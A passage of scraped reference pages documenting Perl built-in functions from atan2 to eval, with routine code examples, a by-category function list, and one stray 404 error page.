[Chapter 3] 3.2.6 atan2

Programming PerlSearch this book

3.2.6 atan2

atan2 Y, X

This function returns the arctangent of Y/X in the range - [pi] to [pi]. A quick way to get an approximate value of [pi] is to say:

$pi = atan2(1,1) * 4;

For the tangent operation, you may use the POSIX::tan() function, or use the familiar relation:

sub tan { sin($_[0]) / cos($_[0]) }

Previous: 3.2.5 alarm | Programming Perl | Next: 3.2.7 bind
3.2.5 alarm | Book Index | 3.2.7 bind


[Chapter 3] 3.2.7 bind

Programming PerlSearch this book

3.2.7 bind

bind SOCKET, NAME

This function does the same thing as the bind system call - see bind(2). It attaches an address (a name) to an already opened socket specified by the SOCKET filehandle. The function returns true if it succeeded, false otherwise (and puts the error code into $!). NAME should be a packed address of the proper type for the socket.

bind S, $sockaddr or die "Can't bind address: $!\n";

See also the example in the section "Sockets" in Chapter 6.

Previous: 3.2.6 atan2 | Programming Perl | Next: 3.2.8 binmode
3.2.6 atan2 | Book Index | 3.2.8 binmode


[Chapter 3] 3.2.8 binmode

Programming PerlSearch this book

3.2.8 binmode

binmode FILEHANDLE

This function arranges for the file to be treated in binary mode on operating systems that distinguish between binary and text files. It should be called after the open but before any I/O is done on the filehandle. The only way to reset binary mode on a filehandle is to reopen the file.

On systems that distinguish binary mode from text mode, files that are read in text mode have \r\n sequences translated to \n on input and \n translated to \r\n on output. binmode has no effect under UNIX or Plan9. If FILEHANDLE is an expression, the value is taken as the name of the filehandle. The following example shows how a Perl script might prepare to read a word processor file with embedded control codes:

open WP, "$file.wp" or die "Can't open $file.wp: $!\n";
binmode WP;
while (read WP, $buf, 1024) {...}

Previous: 3.2.7 bind | Programming Perl | Next: 3.2.9 bless
3.2.7 bind | Book Index | 3.2.9 bless


[Chapter 3] 3.2.9 bless

Programming PerlSearch this book

3.2.9 bless

bless REF, CLASSNAME
bless REF

This function looks up the item pointed to by reference REF and tells the item that it is now an object in the CLASSNAME package - or the current package if no CLASSNAME is specified, which is often the case. It returns the reference for convenience, since a bless is often the last thing in a constructor function. (Always use the two-argument version if the constructor doing the blessing might be inherited by a derived class. In such cases, the class you want to bless your object into will normally be found as the first argument to the constructor in question.) See "Objects" in Chapter 5, Packages, Modules, and Object Classes for more about the blessing (and blessings) of objects.

Previous: 3.2.8 binmode | Programming Perl | Next: 3.2.10 caller
3.2.8 binmode | Book Index | 3.2.10 caller


[Chapter 3] Functions

Programming PerlSearch this book
Previous: 2.9 Special Variables Chapter 3 Next: 3.2 Perl Functions in Alphabetical Order

3. Functions

Contents:
Perl Functions by Category
Perl Functions in Alphabetical Order

This chapter describes each of the Perl functions. They're presented one by one in alphabetical order. (Well, actually, some related functions are presented in pairs, or even threes or fours. This is usually the case when the Perl functions simply make UNIX system calls or C library calls. In such cases, the presentation of the Perl function matches up with the corresponding UNIX manpage organization.)

Each function description begins with a brief presentation of the syntax for that function. Parameters in ALL_CAPS represent placeholders for actual expressions, as described in the body of the function description. Some parameters are optional; the text describes the default values used when the parameter is not included.

The functions described in this chapter can serve as terms in an expression, along with literals and variables. (Or you can think of them as prefix operators. We call them operators half the time anyway.) Some of these operators, er, functions take a LIST as an argument. Such a list can consist of any combination of scalar and list values, but any list values are interpolated as a sequence of scalar values; that is, the overall argument LIST remains a single-dimensional list value. (To interpolate an array as a single element, you must explicitly create and interpolate a reference to the array instead.) Elements of the LIST should be separated by commas (or by =>, which is just a funny kind of comma). Each element of the LIST is evaluated in a list context.

The functions described in this chapter may be used either with or without parentheses around their arguments. (The syntax descriptions omit the parentheses.) If you use the parentheses, the simple (but occasionally surprising) rule is this: if it looks like a function, it is a function, and precedence doesn't matter. Otherwise it's a list operator or unary operator, and precedence does matter. And whitespace between the function and its left parenthesis doesn't count - so you need to be careful sometimes:

print 1+2+3;       # Prints 6.
print(1+2) + 3;    # Prints 3.
print (1+2)+3;     # Also prints 3!
print +(1+2)+3;    # Prints 6.
print ((1+2)+3);   # Prints 6.

If you run Perl with the -w switch it can warn you about this. For example, the third line above produces:

print (...) interpreted as function at - line 3.
Useless use of integer addition in void context at - line 3.

Some of the LIST operators impose special semantic significance on the first element or two of the list. For example, the chmod function requires that the first element of the list be the new permission to apply to the files listed in the remaining elements. Syntactically, however, the argument to chmod is really just a LIST, and you could say:

unshift @array,0644;
chmod @array;

which is the same as:

chmod 0644, @array;

In these cases, the syntax summary at the top of the section mentions only the bare LIST, and any special initial arguments are documented in the description.

On the other hand, if the syntax summary lists any arguments before the LIST, those arguments are syntactically distinguished (not just semantically distinguished), and may impose syntactic constraints on the actual arguments you pass to the function when you call it. For instance, the first argument to the push function must be an array name. (You may also put such syntactic constraints on your own subroutine declarations by the use of prototypes. See "Prototypes" in Chapter 2, The Gory Details.)

Many of these operations are based directly on the C library's functions. If so, we do not attempt to duplicate the UNIX system documentation for that function, but refer you directly to the manual page. Such references look like this: "See getlogin(3)." The number in parentheses tells you which section of the UNIX manual normally contains the given entry. If you can't find a manual page (manpage for short) for a particular C function on your system, it's likely that the corresponding Perl function is unimplemented. For example, not all systems implement socket(2) calls. If you're running in the MS-DOS world, you may have socket calls, but you won't have fork(2). (You probably won't have manpages either, come to think of it.)

Occasionally you'll find that the documented C function has more arguments than the corresponding Perl function. The missing arguments are almost always things that Perl already knows, such as the length of the previous argument, so you needn't supply them in Perl. Any remaining disparities are due to different ways Perl and C specify their filehandles and their success/failure values.

For functions that can be used in either scalar or list context, non-abortive failure is generally indicated in a scalar context by returning the undefined value, and in a list context by returning the null list. Successful execution is generally indicated by returning a value that will evaluate to true (in context).

Remember the following rule: there is no general rule for converting a list into a scalar!

Many operators can return a list in list context. Each such operator knows whether it is being called in scalar or list context, and in scalar context returns whichever sort of value it would be most appropriate to return. Some operators return the length of the list that would have been returned in list context. Some operators return the first value in the list. Some operators return the last value in the list. Some operators return the "other" value, when something can be looked up either by number or by name. Some operators return a count of successful operations. In general, Perl operators do exactly what you want, unless you want consistency.

3.1 Perl Functions by Category

Here are Perl's functions and function-like keywords, arranged by category. Some functions appear under more than one heading.

Scalar manipulation

chomp, chop, chr, crypt, hex, index, lc, lcfirst, length, oct, ord, pack, q//, qq//, reverse, rindex, sprintf, substr, tr///, uc, ucfirst, y///

Regular expressions and pattern matching

m//, pos, quotemeta, s///, split, study

Numeric functions

abs, atan2, cos, exp, hex, int, log, oct, rand, sin, sqrt, srand

Array processing

pop, push, shift, splice, unshift

List processing

grep, join, map, qw//, reverse, sort, unpack

Hash processing

delete, each, exists, keys, values

Input and output

binmode, close, closedir, dbmclose, dbmopen, die, eof, fileno, flock, format, getc, print, printf, read, readdir, rewinddir, seek, seekdir, select (ready file descriptors), syscall, sysread, syswrite, tell, telldir, truncate, warn, write

Fixed-length data and records

pack, read, syscall, sysread, syswrite, unpack, vec

Filehandles, files, and directories

chdir, chmod, chown, chroot, fcntl, glob, ioctl, link, lstat, mkdir, open, opendir, readlink, rename, rmdir, select (ready file descriptors), select (output filehandle), stat, symlink, sysopen, umask, unlink, utime

Flow of program control

caller, continue, die, do, dump, eval, exit, goto, last, next, redo, return, sub, wantarray

Scoping

caller, import, local, my, package, use

Miscellaneous

defined, dump, eval, formline, local, my, reset, scalar, undef, wantarray

Processes and process groups

alarm, exec, fork, getpgrp, getppid, getpriority, kill, pipe, qx//, setpgrp, setpriority, sleep, system, times, wait, waitpid

Library modules

do, import, no, package, require, use

Classes and objects

bless, dbmclose, dbmopen, package, ref, tie, tied, untie, use

Low-level socket access

accept, bind, connect, getpeername, getsockname, getsockopt, listen, recv, send, setsockopt, shutdown, socket, socketpair

System V interprocess communication

msgctl, msgget, msgrcv, msgsnd, semctl, semget, semop, shmctl, shmget, shmread, shmwrite

Fetching user and group information

endgrent, endhostent, endnetent, endpwent, getgrent, getgrgid, getgrnam, getlogin, getpwent, getpwnam, getpwuid, setgrent, setpwent

Fetching network information

endprotoent, endservent, gethostbyaddr, gethostbyname, gethostent, getnetbyaddr, getnetbyname, getnetent, getprotobyname, getprotobynumber, getprotoent, getservbyname, getservbyport, getservent, sethostent, setnetent, setprotoent, setservent

Time

gmtime, localtime, time, times

Previous: 2.9 Special Variables | Programming Perl | Next: 3.2 Perl Functions in Alphabetical Order
2.9 Special Variables | Book Index | 3.2 Perl Functions in Alphabetical Order


[Chapter 3] 3.2.10 caller

Programming PerlSearch this book

3.2.10 caller

caller EXPR
caller

This function returns information about the stack of current subroutine calls. Without an argument it returns the package name, filename, and line number that the currently executing subroutine was called from:

($package, $filename, $line) = caller;

With an argument it evaluates EXPR as the number of stack frames to go back before the current one. It also reports some additional information.

$i = 0;
while (($pack, $file, $line, $subname, $hasargs, $wantarray) = caller($i++)) {
    ...
}

Furthermore, when called from within the DB package, caller returns more detailed information: it sets the list variable @DB::args to be the arguments passed in the given stack frame.

Previous: 3.2.9 bless | Programming Perl | Next: 3.2.11 chdir
3.2.9 bless | Book Index | 3.2.11 chdir


[Chapter 3] 3.2.11 chdir

Programming PerlSearch this book

3.2.11 chdir

chdir EXPR

This function changes the working directory to EXPR, if possible. If EXPR is omitted, it changes to the home directory. The function returns 1 upon success, 0 otherwise (and puts the error code into $!).

chdir "$prefix/lib" or die "Can't cd to $prefix/lib: $!\n";

The following code can be used to move to the user's home directory, one way or another:

$ok = chdir($ENV{"HOME"} || $ENV{"LOGDIR"} || (getpwuid($<))[7]);

Alternately, taking advantage of the default, you could say this:

$ok = chdir() || chdir((getpwuid($<))[7]);

See also the Cwd module, described in Chapter 7, The Standard Perl Library, which lets you keep track of your current directory.

Previous: 3.2.10 caller | Programming Perl | Next: 3.2.12 chmod
3.2.10 caller | Book Index | 3.2.12 chmod


[Chapter 3] 3.2.12 chmod

Programming PerlSearch this book

3.2.12 chmod

chmod LIST

This function changes the permissions of a list of files. The first element of the list must be the numerical mode, as in chmod(2). (When using nonliteral mode data, you may need to convert an octal string to a decimal number using the oct function.) The function returns the number of files successfully changed. For example:

$cnt = chmod 0755, 'file1', 'file2';

will set $cnt to 0, 1, or 2, depending on how many files got changed (in the sense that the operation succeeded, not in the sense that the bits were different afterward). Here's a more typical usage:

chmod 0755, @executables;

If you need to know which files didn't allow the change, use something like this:

@cannot = grep {not chmod 0755, $_} 'file1', 'file2', 'file3';
die "$0: could not chmod @cannot\n" if @cannot;

This idiom makes use of the grep function to select only those elements of the list for which the chmod function failed.

Previous: 3.2.11 chdir | Programming Perl | Next: 3.2.13 chomp
3.2.11 chdir | Book Index | 3.2.13 chomp


[Chapter 3] 3.2.13 chomp

Programming PerlSearch this book

3.2.13 chomp

chomp VARIABLE
chomp LIST
chomp

This is a slightly safer version of chop (see below) in that it removes only any line ending corresponding to the current value of $/, and not just any last character. Unlike chop, chomp returns the number of characters deleted. If $/ is empty (in paragraph mode), chomp removes all trailing newlines from the selected string (or strings, if chomping a LIST).

Previous: 3.2.12 chmod | Programming Perl | Next: 3.2.14 chop
3.2.12 chmod | Book Index | 3.2.14 chop


[Chapter 3] 3.2.14 chop

Programming PerlSearch this book

3.2.14 chop

chop VARIABLE
chop LIST
chop

This function chops off the last character of a string and returns the character chopped. The chop operator is used primarily to remove the newline from the end of an input record, but is more efficient than s/\n$//. If VARIABLE is omitted, the function chops the $_ variable. For example:

while (<PASSWD>) {
    chop;   # avoid \n on last field
    @array = split /:/;
    ...
}

If you chop a LIST, each string in the list is chopped:

@lines = `cat myfile`;
chop @lines;

You can actually chop anything that is an lvalue, including an assignment:

chop($cwd = `pwd`);
chop($answer = <STDIN>);

Note that this is different from:

$answer = chop($tmp = <STDIN>);  # WRONG

which puts a newline into $answer, because chop returns the character chopped, not the remaining string (which is in $tmp). One way to get the result intended here is with substr:

$answer = substr <STDIN>, 0, -1;

But this is more commonly written as:

chop($answer = <STDIN>);

To chop more than one character, use substr as an lvalue, assigning a null string. The following removes the last five characters of $caravan:

substr($caravan, -5) = "";

The negative subscript causes substr to count from the end of the string instead of the beginning.

Previous: 3.2.13 chomp | Programming Perl | Next: 3.2.15 chown
3.2.13 chomp | Book Index | 3.2.15 chown


[Chapter 3] 3.2.15 chown

Programming PerlSearch this book

3.2.15 chown

chown LIST

This function changes the owner (and group) of a list of files. The first two elements of the list must be the numerical uid and gid, in that order. The function returns the number of files successfully changed. For example:

$cnt = chown $uid, $gid, 'file1', 'file2';

will set $cnt to 0, 1, or 2, depending on how many files got changed (in the sense that the operation succeeded, not in the sense that the owner was different afterward). Here's a more typical usage:

chown $uid, $gid, @filenames;

Here's a subroutine that looks everything up for you, and then does the chown:

sub chown_by_name {
    local($user, $pattern) = @_;
    chown((getpwnam($user))[2,3], glob($pattern));
}

&chown_by_name("fred", "*.c");

Notice that this forces the group of each file to be the gid fetched from the passwd file. An alternative is to pass a -1 for the gid, which leaves the group of the file unchanged.

On most systems, you are not allowed to change the ownership of the file unless you're the superuser, although you should be able to change the group to any of your secondary groups. On insecure systems, these restrictions may be relaxed, but this is not a portable assumption.

Previous: 3.2.14 chop | Programming Perl | Next: 3.2.16 chr
3.2.14 chop | Book Index | 3.2.16 chr


[Chapter 3] 3.2.16 chr

Programming PerlSearch this book

3.2.16 chr

chr NUMBER

This function returns the character represented by that NUMBER in the character set. For example, chr(65) is "A" in ASCII. To convert multiple characters, use pack("C*", LIST) instead.

Previous: 3.2.15 chown | Programming Perl | Next: 3.2.17 chroot
3.2.15 chown | Book Index | 3.2.17 chroot


[Chapter 3] 3.2.17 chroot

Programming PerlSearch this book

3.2.17 chroot

chroot FILENAME

This function does the same operation as the chroot system call - see chroot(2). If successful, FILENAME becomes the new root directory for the current process - the starting point for pathnames beginning with "/". This directory is inherited across exec calls and by all subprocesses. There is no way to undo a chroot. Only the superuser can use this function. Here's some code that approximates what many FTP servers do:

chroot +(getpwnam('ftp'))[7]
    or die "Can't do anonymous ftp: $!\n";

Previous: 3.2.16 chr | Programming Perl | Next: 3.2.18 close
3.2.16 chr | Book Index | 3.2.18 close


[Chapter 3] 3.2.18 close

Programming PerlSearch this book

3.2.18 close

close FILEHANDLE

This function closes the file, socket, or pipe associated with the filehandle. You don't have to close FILEHANDLE if you are immediately going to do another open on it, since the next open will close it for you. (See open.) However, an explicit close on an input file resets the line counter ($.), while the implicit close done by open does not. Also, closing a pipe will wait for the process executing on the pipe to complete (in case you want to look at the output of the pipe afterward), and it prevents the script from exiting before the pipeline is finished.[1] Closing a pipe explicitly also puts the status value of the command executing on the pipe into $?. For example:

[1] Note, however, that a dup'ed pipe is treated as an ordinary filehandle, and close will not wait for the child on that filehandle. You have to wait for the child by closing the filehandle on which it was originally opened.

open OUTPUT, '|sort >foo';     # pipe to sort
...                            # print stuff to output
close OUTPUT;                  # wait for sort to finish
die "sort failed" if $?;       # check for sordid sort
open INPUT, 'foo';             # get sort's results

FILEHANDLE may be an expression whose value gives the real filehandle name. It may also be a reference to a filehandle object returned by some of the newer object-oriented I/O packages.

Previous: 3.2.17 chroot | Programming Perl | Next: 3.2.19 closedir
3.2.17 chroot | Book Index | 3.2.19 closedir


[Chapter 3] 3.2.19 closedir

Programming PerlSearch this book

3.2.19 closedir

closedir DIRHANDLE

This function closes a directory opened by opendir. See the examples under readdir.

Previous: 3.2.18 close | Programming Perl | Next: 3.2.20 connect
3.2.18 close | Book Index | 3.2.20 connect


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/ch03_02.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


[Chapter 3] 3.2.20 connect

Programming PerlSearch this book

3.2.20 connect

connect SOCKET, NAME

This function does the same thing as the connect system call - see connect(2). The function initiates a connection with another process that is waiting at an accept(2). The function returns true if it succeeded, false otherwise (and puts the error code into $!). NAME should be a packed network address of the proper type for the socket. For example:

connect S, $destadd
    or die "Can't connect to $hostname: $!\n";

To disconnect a socket, either close or shutdown. See also the example in the section "Sockets" in Chapter 6.

Previous: 3.2.19 closedir | Programming Perl | Next: 3.2.21 cos
3.2.19 closedir | Book Index | 3.2.21 cos


[Chapter 3] 3.2.21 cos

Programming PerlSearch this book

3.2.21 cos

cos EXPR

This function returns the cosine of EXPR (expressed in radians). For example, the following script will print a cosine table of angles measured in degrees:

# Here's the lazy way of getting degrees-to-radians.

$pi = atan2(1,1) * 4;
$piover180 = $pi/180;

# Print table.

for ($_ = 0; $_ <= 90; $_++) {
    printf "%3d %7.5f\n", $_, cos($_ * $piover180);
}

For the inverse cosine operation, you may use the POSIX::acos() function, or use this relation:

sub acos { atan2( sqrt(1 - $_[0] * $_[0]), $_[0] ) }

Previous: 3.2.20 connect | Programming Perl | Next: 3.2.22 crypt
3.2.20 connect | Book Index | 3.2.22 crypt


[Chapter 3] 3.2.22 crypt

Programming PerlSearch this book

3.2.22 crypt

crypt PLAINTEXT, SALT

This function encrypts a string exactly in the manner of crypt(3). This is useful for checking the password file for lousy passwords.[2] Only the guys wearing white hats are allowed to do this.

[2] What you really want to do is prevent people from adding the bad passwords in the first place.

To see whether a typed-in password $guess matches the password $pass obtained from a file (such as /etc/passwd), try something like the following:

if (crypt($guess, $pass) eq $pass) {
    # guess is correct
}

Note that there is no easy way to decrypt an encrypted password apart from guessing. Also, truncating the salt to two characters is a waste of CPU time, although the manpage for crypt(3) would have you believe otherwise.

Here's an example that makes sure that whoever runs this program knows their own password:

$pwd = (getpwuid ($<))[1];
$salt = substr $pwd, 0, 2;

system "stty -echo";
print "Password: ";
chop($word = <STDIN>);
print "\n";
system "stty echo";

if (crypt($word, $salt) ne $pwd) {
    die "Sorry...\n";
} else {
    print "ok\n";
}

Of course, typing in your own password to whoever asks for it is unwise.

The crypt function is unsuitable for encrypting large quantities of data. Find a library module for PGP (or something like that) for something like that.

Previous: 3.2.21 cos | Programming Perl | Next: 3.2.23 dbmclose
3.2.21 cos | Book Index | 3.2.23 dbmclose


[Chapter 3] 3.2.23 dbmclose

Programming PerlSearch this book

3.2.23 dbmclose

dbmclose HASH

This function breaks the binding between a DBM file and a hash.

This function is actually just a call to untie with the proper arguments, but is provided for backward compatibility with older versions of Perl.

Previous: 3.2.22 crypt | Programming Perl | Next: 3.2.24 dbmopen
3.2.22 crypt | Book Index | 3.2.24 dbmopen


[Chapter 3] 3.2.24 dbmopen

Programming PerlSearch this book

3.2.24 dbmopen

dbmopen HASH, DBNAME, MODE

This binds a DBM file to a hash (that is, an associative array). (DBM stands for Data Base Management, and consists of a set of C library routines that allow random access to records via a hashing algorithm.) HASH is the name of the hash (with a %). DBNAME is the name of the database (without the .dir or .pag extension). If the database does not exist, and a valid MODE is specified, the database is created with the protection specified by MODE (as modified by the umask). To prevent creation of the database if it doesn't exist, you may specify a MODE of undef, and the function will return a false value if it can't find an existing database. If your system supports only the older DBM functions, you may have only one dbmopen in your program.

Values assigned to the hash prior to the dbmopen are not accessible.

If you don't have write access to the DBM file, you can only read the hash variables, not set them. If you want to test whether you can write, either use file tests or try setting a dummy array entry inside an eval, which will trap the error.

Note that functions such as keys and values may return huge list values when used on large DBM files. You may prefer to use the each function to iterate over large DBM files. This example prints out the mail aliases on a system using sendmail:

dbmopen %ALIASES, "/etc/aliases", 0666
    or die "Can't open aliases: $!\n";

while (($key,$val) = each %ALIASES) {
    print $key, ' = ', $val, "\n";
}
dbmclose %ALIASES;

Hashes bound to DBM files have the same limitations as DBM files, in particular the restrictions on how much you can put into a bucket. If you stick to short keys and values, it's rarely a problem. Another thing you should bear in mind is that many existing DBM databases contain null-terminated keys and values because they were set up with C programs in mind. The B News history file and the old sendmail aliases file are examples. Just use "$key\0" instead of $key.

There is currently no built-in way to lock generic DBM files. Some would consider this a bug. The DB_File module does provide locking at the granularity of the entire file, however. See the documentation on that module in Chapter 7 for details.

This function is actually just a call to tie with the proper arguments, but is provided for backward compatibility with older versions of Perl.

Previous: 3.2.23 dbmclose | Programming Perl | Next: 3.2.25 defined
3.2.23 dbmclose | Book Index | 3.2.25 defined


[Chapter 3] 3.2.25 defined

Programming PerlSearch this book

3.2.25 defined

defined EXPR

This function returns a Boolean value saying whether EXPR has a real value or not. A scalar that contains no valid string, numeric, or reference value is known as the undefined value, or undef for short. Many operations return the undefined value under exceptional conditions, such as end of file, uninitialized variable, system error, and such. This function allows you to distinguish between an undefined null string and a defined null string when you're using operators that might return a real null string.

You may also check to see whether arrays, hashes, or subroutines have been allocated any memory yet. Arrays and hashes are allocated when you first put something into them, whereas subroutines are allocated when a definition has been successfully parsed. Using defined on the predefined special variables is not guaranteed to produce intuitive results.

Here is a fragment that tests a scalar value from a hash:

print if defined $switch{'D'};

When used on a hash element like this, defined only tells you whether the value is defined, not whether the key has an entry in the hash table. It's possible to have an undefined scalar value for an existing hash key. Use exists to determine whether the hash key exists.

In the next example we use the fact that some operations return the undefined value when you run out of data:

print "$val\n" while defined($val = pop(@ary));

The same thing goes for error returns from system calls:

die "Can't readlink $sym: $!"
    unless defined($value = readlink $sym);

Since symbol tables for packages are stored as hashes (associative arrays), it's possible to check for the existence of a package like this:

die "No XYZ package defined" unless defined %XYZ::;

Finally, it's possible to avoid blowing up on nonexistent subroutines:

sub saymaybe {
   if (defined &say) {
       say(@_);
   }
   else {
       warn "Can't say";
   }
}

See also undef.

Previous: 3.2.24 dbmopen | Programming Perl | Next: 3.2.26 delete
3.2.24 dbmopen | Book Index | 3.2.26 delete


[Chapter 3] 3.2.26 delete

Programming PerlSearch this book

3.2.26 delete

delete EXPR

This function deletes the specified key and associated value from the specified hash. (It doesn't delete a file. See unlink for that.) Deleting from $ENV{} modifies the environment. Deleting from a hash that is bound to a (writable) DBM file deletes the entry from the DBM file.

The following naïve example inefficiently deletes all the values of a hash:

foreach $key (keys %HASH) {
    delete $HASH{$key};
}

(It would be faster to use the undef command on the whole hash.) EXPR can be arbitrarily complicated as long as the final operation is a hash key lookup:

delete $ref->[$x][$y]{$key};

For normal hashes, the delete function happens to return the value (not the key) that was deleted, but this behavior is not guaranteed for tied hashes, such as those bound to DBM files.

To test whether a hash element has been deleted, use exists.

Previous: 3.2.25 defined | Programming Perl | Next: 3.2.27 die
3.2.25 defined | Book Index | 3.2.27 die


[Chapter 3] 3.2.27 die

Programming PerlSearch this book

3.2.27 die

die LIST

Outside of an eval, this function prints the concatenated value of LIST to STDERR and exits with the current value of $! (errno). If $! is 0, it exits with the value of ($? >> 8) (which is the status of the last reaped child from a system, wait, close on a pipe, or `command`). If ($? >> 8) is 0, it exits with 255. If LIST is unspecified, the current value of the $@ variable is propagated, if any. Otherwise the string "Died" is used as the default.

Equivalent examples:

die "Can't cd to spool: $!\n" unless chdir '/usr/spool/news';

chdir '/usr/spool/news' or die "Can't cd to spool: $!\n"

(The second form is generally preferred, since the important part is the chdir.)

Within an eval, the function sets the $@ variable equal to the error message that would have been produced otherwise, and aborts the eval, which then returns the undefined value. The die function can thus be used to raise named exceptions that can be caught at a higher level in the program. See the section on the eval function later in this chapter.

If the final value of LIST does not end in a newline, the current script filename, line number, and input line number (if any) are appended to the message, as well as a newline. Hint: sometimes appending ", stopped" to your message will cause it to make better sense when the string "at scriptname line 123" is appended. Suppose you are running script canasta:

die "/etc/games is no good";
die "/etc/games is no good, stopped";

which produces, respectively:

/etc/games is no good at canasta line 123.
/etc/games is no good, stopped at canasta line 123.

If you want your own error messages reporting the filename and linenumber, use the __FILE__ and __LINE__ special tokens:

die '"', __FILE__, '", line ', __LINE__, ", phooey on you!\n";

This produces output like:

"canasta", line 38, phooey on you!

See also exit and warn.

Previous: 3.2.26 delete | Programming Perl | Next: 3.2.28 do
3.2.26 delete | Book Index | 3.2.28 do


[Chapter 3] 3.2.28 do

Programming PerlSearch this book

3.2.28 do

do BLOCK
do SUBROUTINE(LIST)
do EXPR

The do BLOCK form executes the sequence of commands in the BLOCK, and returns the value of the last expression evaluated in the block. When modified by a loop modifier, Perl executes the BLOCK once before testing the loop condition. (On other statements the loop modifiers test the conditional first.)

The do SUBROUTINE(LIST) is a deprecated form of a subroutine call. See "Subroutines" in Chapter 2.

The do EXPR form uses the value of EXPR as a filename and executes the contents of the file as a Perl script. Its primary use is (or rather was) to include subroutines from a Perl subroutine library, so that:

do 'stat.pl';

is rather like:

eval `cat stat.pl`;

except that it's more efficient, more concise, keeps track of the current filename for error messages, and searches all the directories listed in the @INC array. (See the section on "Special Variables" in Chapter 2.) It's the same, however, in that it does reparse the file every time you call it, so you probably don't want to do this inside a loop.

Note that inclusion of library modules is better done with the use and require operators, which also do error checking and raise an exception if there's a problem.

Previous: 3.2.27 die | Programming Perl | Next: 3.2.29 dump
3.2.27 die | Book Index | 3.2.29 dump


[Chapter 3] 3.2.29 dump

Programming PerlSearch this book

3.2.29 dump

dump LABEL
dump

This function causes an immediate core dump. Primarily this is so that you can use undump(1) to turn your core dump into an executable binary after having initialized all your variables at the beginning of the program. (The undump program is not supplied with the Perl distribution, and is not even possible on some architectures. There are hooks in the code for using the GNU unexec() routine as an alternative. Other methods may be supported in the future.) When the new binary is executed it will begin by executing a goto LABEL (with all the restrictions that goto suffers). Think of the operation as a goto with an intervening core dump and reincarnation. If LABEL is omitted, the function arranges for the program to restart from the top. Please note that any files opened at the time of the dump will not be open any more when the program is reincarnated, with possible confusion resulting on the part of Perl. See also the -u command-line switch. For example:

#!/usr/bin/perl
use Getopt::Std;
use MyHorridModule;
%days = (
    Sun => 1,
    Mon => 2,
    Tue => 3,
    Wed => 4,
    Thu => 5,
    Fri => 6,
    Sat => 7,
);

dump QUICKSTART if $ARGV[0] eq '-d';

QUICKSTART:
Getopts('f:');
...

This startup code does some slow initialization code, and then calls the dump function to take a snapshot of the program's state. When the dumped version of the program is run, it bypasses all the startup code and goes directly to the QUICKSTART label. If the original script is invoked without the -d switch, it just falls through and runs normally.

If you're looking to use dump to speed up your program, check out the discussion of efficiency matters in Chapter 8, Other Oddments, as well the Perl native-code compiler in Chapter 6. You might also consider autoloading, which at least makes it appear to run faster.

Previous: 3.2.28 do | Programming Perl | Next: 3.2.30 each
3.2.28 do | Book Index | 3.2.30 each


[Chapter 3] 3.2.30 each

Programming PerlSearch this book

3.2.30 each

each HASH

This function returns a two-element list consisting of the key and value for the next value of a hash. With successive calls to each you can iterate over the entire hash. Entries are returned in an apparently random order. When the hash is entirely read, a null list is returned (which, when used in a list assignment, produces a false value). The next call to each after that will start a new iteration. The iterator can be reset either by reading all the elements from the hash, or by calling the keys function in scalar context. You must not add elements to the hash while iterating over it, although you are permitted to use delete. In a scalar context, each returns just the key, but watch out for false keys.

There is a single iterator for each hash, shared by all each, keys, and values function calls in the program. This means that after a keys or values call, the next each call will start again from the beginning. The following example prints out your environment like the printenv(1) program, only in a different order:

while (($key,$value) = each %ENV) {
    print "$key=$value\n";
}

See also keys and values.

Previous: 3.2.29 dump | Programming Perl | Next: 3.2.31 eof
3.2.29 dump | Book Index | 3.2.31 eof


[Chapter 3] 3.2.31 eof

Programming PerlSearch this book

3.2.31 eof

eof FILEHANDLE
eof()
eof

This function returns true if the next read on FILEHANDLE will return end of file, or if FILEHANDLE is not open. FILEHANDLE may be an expression whose value gives the real filehandle name. An eof without an argument returns the end-of-file status for the last file read. Empty parentheses () may be used in connection with the combined files listed on the command line. That is, inside a while (<>) loop eof() will detect the end of only the last of a group of files. Use eof(ARGV) or eof (without the parentheses) to test each file in a while (<>) loop. For example, the following code inserts dashes just before the last line of the last file:

while (<>) {
    if (eof()) {
        print "-" x 30, "\n";
    }
    print;
}

On the other hand, this script resets line numbering on each input file:

while (<>) {
    print "$.\t$_";
    if (eof) {       # Not eof().
        close ARGV;  # reset $.
    }
}

Like "$" in a sed program, eof tends to show up in line number ranges. Here's a script that prints lines from /pattern/ to end of each input file:

while (<>) {
    print if /pattern/ .. eof;
}

Here, the flip-flop operator (..) evaluates the regular expression match for each line. Until the pattern matches, the operator returns false. When it finally matches, the operator starts returning true, causing the lines to be printed. When the eof operator finally returns true (at the end of the file being examined), the flip-flop operator resets, and starts returning false again.

Note that the eof function actually reads a byte and then pushes it back on the input stream with ungetc(3), so it is not very useful in an interactive context. In fact, experienced Perl programmers rarely use eof, since the various input operators already behave quite nicely in while-loop conditionals. See the example in the description of foreach in Chapter 2.

Previous: 3.2.30 each | Programming Perl | Next: 3.2.32 eval
3.2.30 each | Book Index | 3.2.32 eval


[Chapter 3] 3.2.32 eval

Programming PerlSearch this book

3.2.32 eval

eval EXPR
eval BLOCK

The value expressed by EXPR is parsed and executed as though it were a little Perl program. It is executed in the context of the current Perl program, so that any variable settings remain afterward, as do any subroutine or format definitions. The code of the eval is treated as a block, so any locally scoped variables declared within the eval last only until the eval is done. (See local and my.) As with any code in a block, a final semicolon is not required. If EXPR is omitted, the operator evaluates $_.

The value returned from an eval is the value of the last expression evaluated, just as with subroutines. Similarly, you may use the return operator to return a value from the middle of the eval. If there is a syntax error or run-time error (including any produced by the die operator), eval returns the undefined value and puts the error message in $@. If there is no error, $@ is guaranteed to be set to the null string, so you can test it reliably afterward for errors.

Here's a statement that assigns an element to a hash chosen at run-time:

eval "\$$arrayname{\$key} = 1";

(You can accomplish that more simply with soft references - see "Symbolic References" in Chapter 4, References and Nested Data Structures.) And here is a simple Perl shell:

while (<>) { eval; print $@; }

Since eval traps otherwise-fatal errors, it is useful for determining whether a particular feature (such as socket or symlink) is implemented. In fact, eval is the way to do all exception handling in Perl. If the code to be executed doesn't vary, you should use the eval BLOCK form to trap run-time errors; the code in the block is compiled only once rather than on each execution, yielding greater efficiency. The error, if any, is still returned in $@. Examples:

# make divide-by-zero non-fatal
eval { $answer = $a / $b; }; warn $@ if $@;

# same thing, but less efficient
eval '$answer = $a / $b'; warn $@ if $@;

# a compile-time error (not trapped)
eval { $answer = };

# a run-time error
eval '$answer =';  # sets $@

Here, the code in the BLOCK has to be valid Perl code to make it past the compilation phase. The code in the string doesn't get examined until run-time, and so doesn't cause an error until run-time.

With an eval you should be careful to remember what's being looked at when:

eval $x;          # CASE 1
eval "$x";        # CASE 2
